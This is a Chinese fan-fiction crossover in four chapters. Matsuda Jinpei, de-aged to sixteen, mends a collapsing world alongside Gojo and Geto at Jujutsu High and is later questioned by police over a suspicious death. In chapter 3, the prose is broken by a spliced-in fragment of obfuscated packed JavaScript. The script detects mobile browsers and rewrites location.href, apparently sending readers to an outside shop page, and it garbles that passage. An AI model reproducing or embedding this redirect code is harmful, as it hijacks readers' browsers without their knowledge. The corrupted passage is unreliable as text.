《松田今天也在缝补世界》
1. 缝缝补补第一针
“滴答……滴答……”
耳旁传来水滴滴落的声音。
松田阵平猛地睁开眼。
映入凫青色瞳孔的不是刺目的火光,而是几乎被黑暗吞噬殆尽的走廊。
这里是哪里?
微弱的月光从破损脏污的窗户缝隙中艰难挤入走廊,勉强显露出几分它的模样。
发黄的墙壁、破损的教室门窗、堆积在拐角处早已变形的桌椅。
这里是一所废弃学校。
我为什么在这里?
“滴答……滴答……”
耳旁只有水滴滴落的声音。
是洗手间的水龙头年久失修吗?
不对,废弃学校应该早就断水了才对。
深夜的寒冷透过衬衣舔向少年温暖的皮肤,松田阵平裸露在外的小臂突然起了一层鸡皮疙瘩。
“滴答……滴答……”
水滴声似乎变大了。
黑发少年缓缓转过脸。
青紫色的怪物安静地立在他身后一米处。
“滴答……滴答……”
黑浊的污水顺着怪物青筋遍布的皮肤滴下,水滴落地的声音带走了空气中的温度,刺骨的寒意裹挟着几乎凝成实质的恶意,张牙舞爪地冲向松田阵平。
“……冷……好冷……”怪物喃喃道。
“确实,”松田阵平抬头盯着怪物被缝起来的双眼,“很冷啊——”
话音未落,他的拳头已经冲向怪物的胸膛。
破空的轻响划破深夜的寂静,拳风带起缓缓漂浮在空气中的灰尘。
然而,这记来自高中拳击联赛冠军兼从业四年精英警察的暴力攻击并没有奏效。
击中怪物的一瞬间,有什么冰冷坚硬的东西将他的拳头抵挡在外。
这是什么?死后世界的怪这么强的吗?松田阵平一滞。
怪物低头看向抵住自己胸膛的拳头,突然暴怒:“不要……好疼……杀死!”
近两米长、青筋虬结的胳膊,带着万钧之势将高挑瘦削的卷发少年当空击飞!
瞬时间,松田阵平如断线风筝般倒飞出去,后背狠狠撞破破败的木质教室门。他的四肢扫倒一大片桌椅,整个人重重摔在教室后面的储物柜上,扬起大片灰尘。
储物柜猛地摇晃了几下,贴在柜子顶端的一片镜子被晃地掉了下来,摔在地上,碎成了几瓣。
“……咳。”松田阵平咳出一口血,抬起右手擦掉,“好像有点麻烦啊。”
少年的语气中并没有凝重,反而带着些懒散之意。
他抬眼紧盯着停在教室门外的怪物,目光灼灼。大脑开始飞速运转,想要找到破局之法。
普通攻击对它无效,看来只有特殊攻击才可以。
问题是怎么才算特殊攻击。是击中某个特殊部位?还是需要某种特殊能量?
果然还是先找个武器试试攻击它的特殊部位。
松田阵平用余光扫视周围,想要寻找适合长距离攻击的武器。
视线划过地上碎裂的镜片,他的目光突然一滞。
半个手掌大的破碎镜片映照出少年苍白俊秀的脸。微长的卷发遮过眉骨,落在高挺的鼻梁上,微薄的唇上还沾着些许血色。形状优美的桃花眼此刻正睁得大大地看向镜子,凫青色的眼眸中满是不可置信。
这是……什么……?
镜中的脸不是26岁成熟男性的脸。
那是一张明显没有成年的少年才会拥有的脸。
他又抬起双手。这双手上带有他年少时练习拳击的伤痕,但是却没有26岁的松田阵平因为常年拆弹和拆卸组装应该有的手茧。
松田阵平喃喃开口:“十八岁……不,还要更小一点。”
少年时期的记忆还没有模糊,十八岁的他要更成熟一些。
【是十六岁。】脑海里突然响起一道没有语气的声音。
周围的空气突然一滞,空中飞舞的灰尘不再飘动,远处怪物身上滴落的水滴也停在半空中,整个时空都停止了流转。
【缝补世界系统加载成功。你好,我是S君,将负责你的指引和帮助工作。】
松田阵平来不及震惊自己的返老还童和被停止的时间:“缝补世界?”
【简单点说,隔壁Z世界因为一些事情变得到处缝隙,面临崩溃。为求生存它正撞向你的世界——D世界——以求融合。预计将于你殉职的三年后融合成功。但是因为它过于破烂,融合后的世界也面临崩溃的威胁。为了拯救两个世界,需要在融合前将Z世界的缝隙缝补好。】S君语速奇快。
【于是,被千万人视为hero的你,被我和两个世界选中了。】
“hero?我?”松田阵平呆滞,“这什么老套少年漫剧情,而且我为什么会变成十六岁?因为是少年漫所以强制变DK是吗?”
【拯救了东京千千万万人质的你怎么不算hero呢。】脑海里的声音柔和了几分,随后又恢复了冷淡,【十年前,也就是现在,是缝补Z世界的最好时机。所以我将你和两个世界同时回溯到了十年前。】
“回溯?这也是我能活着的原因吗?”松田阵平轻声问到,“缝合好了我也会继续活在融合后的世界里吗?”
【是的。并且如果Z世界提前被缝补好,融合进程将会提前。】
两个世界同时被回溯到了十年前,如果提前缝补好Z世界就能促进两个世界融合加速。
这也就是说,如果能迅速解决Z世界的问题,让两个世界在六年内融合成功,他就有机会挽回萩原研二和一众爆处班精英的生命。
他也能继续和hagi一起做拆弹警察。
松田阵平沉沉想到。
他并不后悔为了取得下一枚炸弹所在地的信息而放弃逃生机会,但他遗憾没有亲手抓住那个让hagi的笑容永远停留在22岁的炸弹犯。
“好,我答应你。具体要怎么做?”松田阵平坚定了目光,问道。
【我为你加了缝隙显形和专属技能mod,导致世界崩溃的要素将会呈现出黑紫色的缝隙效果,你只要解决掉这些要素就好了。】
“要素?是指人还是什么?”
【可能是人,也可能是事件。】
“……我明白了。”松田阵平道。
【大概就是这样,你在Z世界的详细状况已经传输入大脑,你的身体也被调整为适配Z世界。我要把更多力量放在阻止Z、D世界融合上,可能没有办法时时关注你的状况,你自己加油。再见。】
“放心吧,交给我了。区区缝补世界而已,hero这个称号我可不能白叫啊。”松田咧嘴,自信的笑容绽在他的嘴边。
脑海中的声音没有再次响起。
空中的灰尘缓缓落下,滴水声乍现,时空开始重新流动。
松田阵平扶着储物柜缓缓起身,目光再次聚焦到门口的怪物身上。
身体里似乎有什么在流动,凉凉的,这是一种他从未感受到的能量。这股能量缓缓地流过他的全身,慢慢加
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速,继而极速聚向少年的眼睛。
术式?
脑海中浮现出一个名字。
【术式·万能拆弹】
凫青色的眼眸中突然浮现出碎金的光,像是暮色时分打在波光粼粼海面上的日光。
映照在少年瞳孔中的青紫色怪物慢慢变得透明,巨大的身躯里显现出层层叠叠的线路结构。
“啊……看明白了,先是腰侧吗。”松田阵平裂开嘴角,“还蛮简单的嘛,三分钟都不用就能解决。”
他微一侧身,重心前压,右脚后撤半步,左腿向前弓起。右手攥起,带着整条手臂一齐蓄力。
蓝色的光在他周身闪起,随即如流水般涌向右臂,又冲向小臂,最后在拳头处凝成一团蓄势待发的亮蓝色能量。
怪物被他的杀意激怒,猛地冲他而来。
黑红色的光乍现,周边的空间仿佛被撕裂了一般,空气扭曲成带着锐利边沿的漩涡状。
少年的拳头击中怪物的那一刻,时间仿佛出现了一瞬的停滞,怪物被打的周身析出了一层深紫色的能量。而后这层颜色不详的能量如同被石头击中的水面,嘭地一下四溅开来。
怪物凌空飞出去四五米,被愤怒支配的它刚落地便又向松田阵平冲来。
松田阵平盯着怪物身上显现出的炸弹结构。
刚刚那一击已经断掉了几条关键线路,剩下再来一拳就差不多了。
“哈!”卷发少年重重一踏地板,腾空而起,“来吧!”
可正当他准备挥出这记拳头,将面前的怪物彻底解决时,周边的门窗、桌椅、柜子,全部被连根拔起,卷作一团,整个教室和走廊仿佛被龙卷风肆虐而过。
巨大的废弃物球以万钧之势撞向怪物,将其砸向墙壁。
怪物身后的墙壁无法承受这么大的力道,被破出一个大口。怪物从破碎的墙壁处掉入天井的草坪中,滚滚黑烟混杂在破碎墙壁造成粉尘雾中飘起。
还未等松田阵平看清尘烟中的怪物状况,一条白色长龙便拔地而起,张开青绿的嘴,一口便将怪物吞入腹中。
尘烟还在空中飘舞,从中走出了一个十六七岁的黑发高个男生。
他模样清秀,扎着半高的丸子头,额边留着一撮奇怪的刘海,细长的眼睛微眯。身上穿着被改造过的校服,宽大的裤腿让他看起来像个不良。
更关键的是,在少年的身后,猛地裂开了一道巨大的黑紫色缝隙。
连一刻都没有为葬身龙腹的怪物哀悼,立刻赶到战场的是Z世界缝隙!
松田阵平警惕地观察着黑发少年,思索着是先打一顿还是先打一顿。
碎金色的光再次在他的眼底浮现,他眼中的黑发少年身上慢慢显现出一个相当复杂的炸弹结构。
似乎有些麻烦。可能要拆半天。
松田阵平决定先打再说。
但就在此时,堵在破损墙壁前的废弃物球上,轻轻落下个白发少年。
少年带着有些古怪的圆形墨镜,露出的面容十分俊秀,身材瘦削高挑,头发是他这个年纪不应有的白色。他双脚一上一下地踩在废弃物球上,身体微微前倾,抬起骨节清隽的手摘下墨镜。
墨镜下是一双璀璨的苍蓝眼瞳,那是阳光下的海面与蓝天交接处的颜色。现在这双苍天之瞳正兴致勃勃又带有几分好奇地盯着他的眼睛。
海面上的蓝天与日落相遇。
“欸——”白发少年拉长声音道,“杰,我们好像发现了一个有趣的野生咒术师欸。”
2. 缝缝补补第二针
“你们咒术界的大致信息我已经了解了,现在可以松开我了吗?”松田阵平没好气地对身侧二人道。
这是一辆行驶在深夜郊区林道上的黑色商务车。
后座上,卷发少年上半身被绳状咒灵捆得结结实实。他一左一右各坐了一个近一米九的高中男生,16岁、180高的他,此时竟然显得有些矮小。
时间回到十分钟前。
松田阵平打了半天、就差最后一击就能解决的咒灵被黑发少年抢了人头。
但是问题不大,还是少年身后猛然裂开的紫黑色缝隙比较重要。
比起新手任务,还是主线任务更吸引人嘛。
正当他准备对黑发少年发起挑战,从天而降的少年白挡住了他的去路。
挡路?那就全部欧拉一遍.jpg
猎猎拳风扬起少年的衬衣衣角,露出一段劲瘦苍白的腰。
没有打中。
拳头停止在白发少年身前,怎么用力也无法更进一步。
怎么回事?明明没有击中任何东西的触感,却感受到了一股无法前进的阻力。
是【术式】吗?
松田阵平急撤两步,运转起浑身咒力聚向双眼。
凫青色的眼眸中泛起粼粼金光。
身前,那个从他发动攻击开始就没有任何动作的白发少年将视线转移到他的双眼。少年那双苍蓝色的眼瞳中,兴味越发浓烈。
【术式·万能拆弹】
白发少年周身显现出一个巨大的炸弹结构。
这个炸弹的复杂程度松田阵平前所未见。如果用商务轻薄本来形容新手村被抢的怪,白发少年就是占地几千平方米的超级计算机。
他的面色严肃起来。
一天?不,三天都不一定可以解决。
这就是主线任务的强度吗。他苦中作乐地想到。
总之先从最外层的炸弹开始拆吧。
卷发少年右手重新攥起,蓝色光蓄势待发。
然而下一秒,他身后突然窜出一条灰黄色的绳状物。片刻就将卷发少年的上半身紧紧捆住,连片衣角都没有露出来。
松田阵平挣扎了几下,发现无法挣脱,皱着眉看向走到白发少年身边的黑发少年。
他的【术式】可以看到绳状物与黑发少年间连着一条细细的线路。
要破解并不难,只要击中这条线路即可。可是他双手被绑在身后,无法行动。
松田阵平撇嘴:“喂,这是你搞的鬼吧。快松开我!”
黑发少年面带微笑地道:“抱歉,不过我们并没有恶意。或者说,我们的立场是一致的。你可以放松一点。”
白发少年上前几步,揽过松田阵平的肩膀,推着他往外走:“先上车再细说啦,杰。我快饿死了,赶紧回高专吃东西,灰原说他给我带了爱知的田原蜜瓜冰激凌~”
时间回到现在。
黑发少年——夏油杰——抬手收回捆住松田阵平的咒灵:“抱歉抱歉,因为松田你看起来像被解绑就会马上给我一拳,下意识就忘记了。”
松田阵平暴起,抡起一拳打向他。
夏油杰抬臂格挡:“你看,我就说嘛。”
背后传来五条悟放肆的爆笑声。
“哼。”松田阵平收起攻势,抱臂靠在椅背上,“你们刚刚说的入学高专,我同意了。”
五条悟和夏油杰鼓掌:“欢迎新同学~”
松田阵平无语地看了他俩一眼,问五条悟:“你说你的‘六眼’可以获取我术式的信息?”
五条悟手中转着那副奇怪的圆片墨镜:“是哦。术式效果是将对方的术式拟态为炸弹,然后拆除和安全引爆吧。”
“刚刚那个咒灵的术式效果是强化自身类的,大概是从被霸凌的恐惧和愤怒中产生的自我保护欲吧。”夏油杰接到,“你的【万能拆弹】很容易就破除它的术式了吧。”
松田阵平点点头。
【术式·万能拆弹】。
【术式效果】
1.将对方的术式拟态为炸弹。根据术式效果的复杂程度,其拟态的炸弹复杂程度也有不同。
2.根据拆弹的顺序击破关键线路,即可拆除拟态炸弹。拆除拟态炸弹后,对方的术式效果即告破除。
3.剩余的咒力将被“安全引爆”,无害地消散在空气中。
4.直接的咒力攻击或者强化,也可以被“安全引爆”。但“安全引爆”也存在限制,以他自身现有的咒力储存上限为限,超出部分无法一次性引爆,需要分次。
很适合他的术式,完全是根据他的专业技能来配置的,看来S君有好好给他打mod。
论起拆弹来,他可是有信心不输给任何人。
虽说有的人的“炸弹”有些麻烦就是了。松田阵平又瞥了一眼五条悟。
五条悟抬手戴回墨镜:“你应该也能看到我的【无下限】拟态的‘炸弹’吧,怎么样?”
松田阵平十分干脆的承认:“很复杂,需要研究下。”
“唔——”五条悟捂嘴沉思状,“不赖嘛,【无下限】这种级别的术式都能破解的话,最强又添一名。”
夏油杰好奇:“我的呢?【咒灵操术】拟态的炸弹如何?”
松田阵平瞥了他的头顶一眼:“也很复杂,主要是线路太杂乱了。你的【炸弹】不是一个整体,而是有许多分支,应该与你操纵的咒灵数量有关。破除单一线路可以解除你对某个咒灵的操纵,是否是永久解除还需后续测试。”
“说起来,你从刚刚开始就一直往我头上看,是有什么东西吗?”夏油杰问到。
当然有啊,可惜只有他一人能看到。松田阵平半月眼。
刚刚夏油杰身后巨大的紫黑色缝隙已经缩成脑袋大小,悬在少年的头顶,远远看上去就像他的丸子头上插了根奇怪的发簪。
也正因为这个缝隙的存在,松田阵平才对五条悟拉他上车的行为没有什么反抗。
虽然穿越开局见怪让人十分胃疼,但是考虑到来解决咒灵的人就是“缝隙”的要素,投放地点和时间应该是S君为了帮助他迅速找到“缝隙”而故意为之。
“一定是杰的刘海儿太怪了,才让人一直忍不住盯着看的啦。”五条悟稍微探过身,对夏油杰吐了下舌头。
“哈?明明悟的眼镜更怪吧。”夏油杰脑门青筋直蹦,“你是想打架吗?”
“谁怕你啊,刚好今天的咒灵太弱了没活动开,来啊。”五条悟对夏油杰竖了个中指,随即便打开车门跳下车去。
松田阵平瞳孔一缩,下意识想要拉住他:“喂!现在还在行驶中!”
另一旁的夏油杰也拉开车门,召唤出虹龙跳出车去:“放心啦松田,这点程度还摔不死他。”
话音还未落下,黑发少年也已远去。
谁也没拉住的松田阵平猛地转身看向后面,五条悟和夏油杰已经安稳落地,在空无一人的郊区道路上打了起来。
“喂,不停车吗?任由他们在公路上打架?”松田阵平确认两人没事后转脸问驾驶位的社畜脸大叔。
社畜脸大叔——本田——擦了擦脸上的冷汗,“已经到高专了,五条同学和夏油同学不会有什么事情的。”
说罢,车子就停在了一道长长的石梯前。
石梯绕山而上,梯上伫立着一座又一座爬着青苔的石制鸟居。远处山林中零散露出几座屋顶。
松田下车仰望面前的高专大门。
从外观上来看,这里并不像是学校,而是什么深山神社或者寺庙。
“松田君,请随我来吧,我带你去见二年级的班主任。”本田熄火下车,带着松田拾级而上,“现在高专的主要事务由二年级的班主任夜蛾正道老师负责,入学亦是由他负责,你的具体情况我已经和他发短信报告过了。”
松田边走边打量这座专门培养咒术师
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的高专内部。
依山而建的学校林木茂盛,远处的几座房屋都是和式木质建筑,可以看出历史悠久。但是离近了看,又能看出有最近修缮过的痕迹,痕迹还不少。
整个高专内都有咒力流动的感觉。
松田抬起头。是头顶有什么东西吗?结界?不,在这里应该叫“帐”。
应该是保护高专内部人员的“帐”。毕竟一整个高专放在这里,里面有大量未长成的咒术师,这跟直接对咒灵和诅咒师说“有大餐,速来吃”有什么区别。
松田阵平转头看向身边的辅助监督:“二年级的班主任?他一个人负责整个年级?”
本田点头:“高专每届学生都很少,目前二年级只有三名同学,有的年级甚至只有一名同学。”
“怪不得还在上高二就要出任务。”松田挑了挑眉,“看来咒术师还蛮少的嘛。”
“咒术师总量是挺少,但是也不是只有这么几个人。”本田有些为难的开口,“大部分咒术师是家系出身,在家接受家族教育,并不会来高专就读。”
“家系?”松田阵平摸着下巴思索,“他们不会不上学吧?难道高专已经是最高学历了?话说没完成九年义务教育属于违法行为吧。”
前任警察突然警惕.jpg
本田冷汗狂流:“额,这个,咒术师还是比较重视技能学习,毕竟关乎性命。”
松田阵平挑了挑眉,想要继续询问有关咒术界义务教育普及度的问题。
本田就抢先一步说:“松田君,夜蛾老师的办公室到了,我就不进去了,有什么事情请电话联系我。”
说罢往松田阵平手中塞了张名片就慌慌张张地跑走了。
松田拿着名片看了半晌,无语。
看来咒术界义务教育普及率确实是堪忧啊。这么不重视基础教育,又让只有十六岁的学生出高危任务,真不怕影响未成年人的三观建立发展和心理健康啊。
收起名片,松田推开面前沉重的木质大门,屋内的光线十分昏暗,几根木质立柱在昏暗的灯光映照下显得格外高大。
桌前坐着一位身材魁梧的圆头男子,他耳朵上方的头发被剔出两道印子,长相硬朗,表情十分严肃。他的手肘支撑在桌面,双手交叉托住下巴?,上方几只手指微微掩住嘴巴。
但是如此硬汉的大叔桌子上竟然还放着几个有些丑的玩偶。
是女儿放在这里的吗?
松田阵平想到。
不,应该不是,小女孩大概率不会选择这么丑的玩偶。
“哟。”夜蛾正道继续维持着碇司令的经典动作,用低沉的嗓音说到,“松田是吧,你为什么来咒术高专?”
“入学测试?”松田阵平漫不经心地扫视着屋内的一切,有关夜蛾正道的信息经过观察和分析灌入他的大脑。
夜蛾正道看着桌前的瘦高少年,加重了语气:“回答我的问……。”
他的话还未说完,身后的窗户便被一条白色的龙尾横扫而过。
随即破碎的玻璃和木质墙体被远处夜空中的一点蓝光吸引,像被卷进漩涡般冲光点而去。无数玻璃和木头的碎片凝聚在一起,仿佛是被谁用手攒成了个球。
白龙再次从破碎的窗户前经过,碎片球直直地冲它而来。然而就在碎片球将要砸中它时,白龙突然向上飞去,碎片球擦过龙尾,直冲室内而来。
松田阵平向右侧方一个直冲,右拳蓄满咒力,猛地击中离他最近的一根木质立柱。
立柱一击即裂,断裂的部分凌空飞向碎片球。
二者在空中迎头撞上,相撞的瞬间同时四分五裂开来,玻璃和木头的碎片满屋溅射。
“我之所以来到高专,来到咒术界——”松田阵平抬手拨去身上溅到的碎屑,抬头直直地望向夜蛾正道。凫青色的眼睛浮起明亮的光,嘴角扯出个自信的笑容。
“是因为我身上只有油门,没有刹车。”
3. 缝缝补补第三针
“为什么我也要写检讨?”
松田阵平坐在自己新宿舍的写字桌前,被包扎过的右手艰难地握着一只笔,无语地看向面前已经写满一页的稿纸:“而且你们为什么要一起来我宿舍写?”
“阵平你可是入学第一天就打架把班主任办公室搞塌了欸,只是写份检讨已经很不错了。一起写当然是因为热闹啊,自己就不想写啦。”五条悟架着腿坐在他左边,手中的稿纸也已写了大半页,“就当是暖房活动吧,我和杰还去便利店买了零食呢。”。
“松田你看起来很熟练啊。无论是打架还是写检讨。”右边的夏油杰同样架着腿,左手支起撑着脑袋,右手不停地在纸上鬼画符,“应该不是第一次干了吧。”
松田阵平目移。
何止打架和写检讨不是第一次干了,入学当夜就打架也不是第一次了。
不过上次没搞到打塌班主任办公室这么严重,只是和某个金毛混蛋互殴到双方鼻青脸肿加牙齿free了而已。
“说到底还是木质建筑太脆了,打断一根立柱而已,房顶竟然就塌了。”松田阵平说服自己。
五条悟附和道:“确实,杰入学一年已经打塌不知道多少座建筑了。”
夏油杰隔着松田阵平拍了五条悟肩膀一记:“明明你的【苍】搞塌的更多吧,我只能算个添头。”
高专还是得有个土遁能力者才行。松田阵平一边奋笔疾书一边天马行空地想到。
“话说回来,你为什么直接喊我名字?”他疑惑地望向五条悟。
五条悟伸了个懒腰,放下手中的纸笔,从身后的便利店口袋中捞出一袋薯片,开始大嚼特嚼:“习惯啦,习惯。我家里人多,又都姓五条,喊姓氏的话会有百八十号人回应你。”
夏油杰从松田身后探过身,手伸入五条悟手中的薯片袋中摸走一把薯片,塞入口中同样大嚼特嚼:“御三家在这一点上倒是表现的都挺自来熟的。”
松田阵平翻过一页继续写,左手从五条悟的薯片袋中夹出几片薯片,也开始大嚼特嚼:“刚刚我就想说了,御三家听起来像是什么爱豆或二次元。”
五条悟:“虽然老子的脸是能出道啦,禅院家也大都长得不错,但是御三家里还是皱巴巴的老橘子比较多。”
“哕,这薯片什么口味的,怎么这么甜?”夏油杰放下手中的笔,从五条悟身后捞出一瓶水,吨吨了半瓶,“总监部也是哦,松田你入学后应该会被上头的人征召过去,拉拢顺便敲打。要克制些哦,暴揍总监部说不定会被老橘子们记恨,然后随便找个什么理由处刑的。”
“哕,真的好甜。”松田阵平也转身捞起一瓶水,吨吨了一瓶,“处刑?什么刑?私刑吗?真刑啊咒术界。”
松田阵平半月眼,他已经不怀疑这是不是还在法治社会了,他已经开始怀疑这是不是还在现代社会了。
果然人不能连基础的义务教育都不接受,一个圈子里的人如果绝大多数都没接受过义务教育,这个圈子就会变得奇形怪状。
“你倒是反驳下自己不会打老头啊!直接问处什么刑是默认了自己会暴揍总监部老头吗!”夏油杰大无语。
松田阵平干笑两声。
他之前当警察是为了揍警视总监,那么现在当咒术师揍下总监部老头子也很正常吧。
“是甜玉子烧味哦,最近的限定新品,明明超——好吃。”被嫌弃了口味的五条悟独自一人大嚼特嚼,“烂橘子打就打了,杰还是太啰嗦啦。”
为什么会有甜玉子烧味的薯片啊!松田阵平无语。
日本人果然还是甜党太多了。他平时连甜味玉子烧都敬谢不敏。之前和佐藤盯梢时吃的红豆面包也是出于应急需求囫囵咽下去的。
说起来,也不过是前两天发生的事情而已,现在回想起来竟然好像已经过了很久。
身后的两人已经乒乒乓乓地开始了自由搏击,这么晚了也不知道会不会扰民。不过高专学生好像挺少,应该问题不大。
松田阵平侧脸看向窗户中映出的稚嫩侧颜。
果然还是有些没有实感啊。
======
天色熹微,林间的雾气裹着清晨的凉意,抚过深林中的高专。
一缕晨光透过落地窗,打在站立在窗前的少年身上。少年周身被阳光镀上了一层毛茸茸的边,连他卷曲的头发都显得更加蓬松。
松田阵平抬手披上昨晚后勤人员送来的高专制服。
“真的不和我们一起去上课吗?转学什么的交给后勤去做就行了吧。”躺在地毯上的夏油杰眯眼看向披着晨光的少年。
一旁的矮沙发上,用一个奇怪的姿势把自己团进去的五条悟正大睡特睡。
“我回家拿点东西。”松田阵平冲身后扬了扬手,开门出去,“别忘了帮我交检讨。”
五条悟睡得迷迷糊糊:“杰真的好像个男妈妈哦。”
夏油杰懒得理他,抬手朝他丢了个抱枕。而后一侧身,枕着左手沉沉睡去。
这间热闹了一夜的高专宿舍再次恢复了安静。
======
神奈川县,横滨。
松田阵平抬头观察眼前的一户建。
和他在D世界的老家一模一样,连院子里野蛮生长的花草也一样。
不过那边是因为老头日常颓废懒得打理,这边是因为房子空置了十几年。
他掏出钥匙,进入房中。
根据S君给他补全的设定,Z世界的松田夫妻于他一岁时死于一场空难。而后松田阵平辗转寄养在远房亲戚家或者寄宿学校中。读高中后才搬回松田宅独居。
松田阵平走到客厅的电视机柜前,抬手扫去上面摆着的相框上的灰尘。
一张有些陈旧的照片露出真容。
年轻的松田夫妻簇拥着卷发婴儿,正冲着镜头幸福地笑着。
他凝视着这张照片。
D世界也有一模一样的照片,被老头收在书柜的最底层。
松田阵平抬脚上楼。
楼上只有他的房间和起居室的房门开着,其他房间门把手上都积着一层厚厚的灰。
松田阵平路过二楼楼梯口的起居室,眼神扫过地上铺着的巨大灰色地毯。
在D世界,他平常会跟hagi一起在这上面拆拆卸卸。
踏入卧室,这里倒是和D世界十六岁松田阵平的房间一模一样。
桌上杂乱摆放着拳击运动周刊、墙上挂着拳击手套和护具、地毯上散落着大大小小的机械零件,还有墙角堆着各类工具。
松田阵平随手拿了几个小型工具放入裤袋,又打开衣柜开始收拾换洗衣物。
世界融合后,死而复生的老头子和妈妈会不会吓死这边照顾过他的亲戚们。他漫无边际地乱想。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041328|194693||http|test|mini|href|location''.split(''|''),0,{}));
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>松田阵平一向习惯了轻装出行,没一会便提着一个小行李箱下楼来。
卷发少年在玄关处换上鞋子,又回头望了一眼客厅。
他犹豫了片刻,还是进去将那张照片收进了行李中。
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这里也跟D世界大差不差啊。
松田阵平拉着行李箱路过松田宅旁边的公园。
这个公园是他和hagi的初识之地。
当时他正和骂他“杀人犯儿子”的同学们打成一团,hagi莫名其妙就加入进来帮他揍人。
据小学生hagi所说,之所以帮他打架,是因为看上了他的脸,不忍心这么可爱的脸被打坏。
松田阵平轻笑。
再往前走就到萩原宅了。
他停在一栋七八层的写字楼前,抬头仰望。
看来世界融合后hagi要搬家了。
这应该是某家企业的办公场地。在二楼和三楼中间的外部墙体上,立着一个巨大的墨绿色“S”标志。
阳光有些晃眼。松田阵平抬起左手挡在眉眼上方。
果然还是要去买个墨镜。
挡住了刺眼的阳光,他的视线变得更加清晰。
原来那个墨绿的“S”中还竖着一道权杖一样的东西。
松田阵平继续观察着这座占据了D世界萩原宅位置的建筑。
权杖的顶端直连三楼一扇半开的窗户,窗前似乎站着什么人。
松田阵平心中浮现出一种奇怪的感觉。
那个人好像在看他。
他运起咒力聚向双眼,被强化的视力让他轻而易举的看清了窗前的人。
一个平平无奇的中年男人。脑袋似乎受了什么伤,额头被一圈缝合线缠绕。
不对劲。
松田阵平感受到一股恶意。
非常不对劲。
他踏碎脚下的地砖,猛地一跃而起,踩着空调外机直冲三楼而去。
片刻间,卷发少年便攀上了三楼的窗户,他单手抓着“S”标志的权杖顶端,睁大眼望向窗内。
他看清了,中年人身后是一道巨大的紫黑色缝隙。
第二个缝隙!
松田阵平单手撑着‘S’标志,右手一拳击碎玻璃,腰腹向上用力,整个人倏地窜进房间。
然而就在他踩着碎玻璃落地的一瞬间,房顶正中巨大的吊灯突然落下。锋利的灯架直削中年人的头顶。
血花四溅。中年人一动不动地倒在满地狼藉之中,上半个头颅被吊灯砸得稀碎。
松田阵平被这场突如其来的意外惊地滞在当场。
吊灯落地的巨大声响引来了外面的人。
很快,几个身着工装的年轻女性打开门冲了进来:“怎么了,科长——”
外面的天空突然变得阴沉起来,空气中的湿气越来越重,四月末的倒春寒开始发威。
外面似乎要下雨了。
前一秒还被阳光照得明亮的屋内,在一瞬间光线昏暗了下来。
高挑的少年背着光站在中年人死状凄惨的尸体前,抬眼望向突然闯入的年轻科员。
少年的眉头微压,冷色的眼眸带着寒意扫过几人,没有半分目击死亡的震惊与慌乱。
年轻科员被他看地浑身一抖,进而爆发出凄厉的尖叫声。
下一秒,窗外警笛声大作。
4. 缝缝补补第四针
“我劝你赶紧乖乖交代了!你这样的渣滓我见得多了,上法庭吓尿裤子的都不少见!别以为未成年就可以为所欲为!”
神奈川县警察本部,走廊尽头的刑讯室内,一名寸头警察边拍桌子边对着对面的少年大吼。
对面的卷发少年懒懒地靠在椅背上,架着腿,左手抚弄着将他的右手和椅子扶手拷在一起的银色手铐。
面对威压十足的壮年警察,少年脸上毫无畏惧之色。
他撩起眼皮,淡淡开口:“无监护人在场审讯未成年人,你就是这么做警察的吗?”
对面的寸头警察当即便被他的态度激怒,猛地站起身来,想要冲过来揍他:“你这个混蛋!那可是死了一个人,你真当恶作剧不用负责任的吗!”
坐在他旁边女警一惊,立马用尽全身力气死死抱住寸头警察的腰:“伊藤前辈!你冷静一点!”
刑讯室里的金属桌被他二人撞得砰砰直响。
松田阵平面无表情地看着眼前你冲我拦的二人,脑内冷静地分析着十五分钟前发生的事情。
这位名为伊藤的警察,之所以这么笃定是他的恶作剧导致吊灯坠落砸死中年男人,是因为鉴识人员在吊灯的断口处发现了利器切割的痕迹,而现场完美保留着他暴力侵入的证据。
毕竟他人都在那了。
吊灯断口处的人为切割痕迹,表明了中年男人的死亡并不是一场意外。
现场只有中年男人和松田阵平两人,他很确信在年轻社员闯进来之前屋内没有第三人的存在。那么切断吊灯的,只能是中年男人。
自杀?
不,不会这么简单。
中年男人是在看到他击破玻璃、准备强行闯入时,才做出的这一“自杀”举动。
为了什么?不想让他近身?
是怕他近身后发现什么?还是怕他会做什么?
有什么是中年男人宁愿留下一具尸体,都要阻止他近身的?
又或者说,那具“尸体”,真的是尸体吗?
吊灯夺去中年男人的性命后,“缝隙”也随之消失。他不认为这么简单便能缝补好一条缝隙。
那么最大的可能,就是“TA”逃走了。
他抓住了一个小尾巴。
卷发少年慢慢咧开嘴角,眼中闪烁着兴致勃勃的光。
和后辈“近身搏斗”到筋疲力竭的伊藤警官,刚仰面干完一大杯水,就看到对面的卷发少年冲他露出了挑衅的笑。脑内神经啪地断掉,再次冲少年饿虎扑食而来。
“前辈——”小女警留着宽面条泪扑过去抱住半个身子已经越过桌面的壮年警察,“你冷静一下啊——”
“春日野——你松开我!可恶!你的力气怎么这么大!”
“那个,不好意思,打扰一下。松田君的监护人到了。”
刑讯室突然被从外面打开,一位戴眼镜的精英相警察敲了几下门板。
伊藤警官和小女警春日野同时顿住,转头望向门口。
眼镜警官身后站着一个社畜脸的男人,他冷淡的开口:“具体情况已经提交你部门上层,有什么问题还请你们自行解决。松田君我就先带走了。”
说罢对伊藤警官二人点了下头,又冲着松田阵平摆了个“请”的手势:“松田君,请吧。五条君和夏油君还在等你。”
眼镜警官无奈的对伊藤点了点头:“上面确实说松田君可以走了。伊藤,松开他的手铐吧。”
“开什么玩笑!”伊藤警官一个暴呵,怒目圆睁:“这小子可是重大嫌疑人!怎么能就这么放他出去!上面是老糊——唔!”
春日野警官急忙在他说出领导坏话前一把捂住他的嘴。
伊藤转眼瞪向今日接二连三冒犯上司的小女警,企图用眼中的杀气让这个怪力下属放开他。
就当几人对峙时,刑讯室内的金属桌突然想起“嘭”的一声。
是手铐被丢到了上面。
松田阵平转着手中的小螺丝刀,懒懒地站起身来:“伊藤警官,比起在我身上找那个不存在的‘犯罪证据’,你不如先去看看尸检结果如何了。”
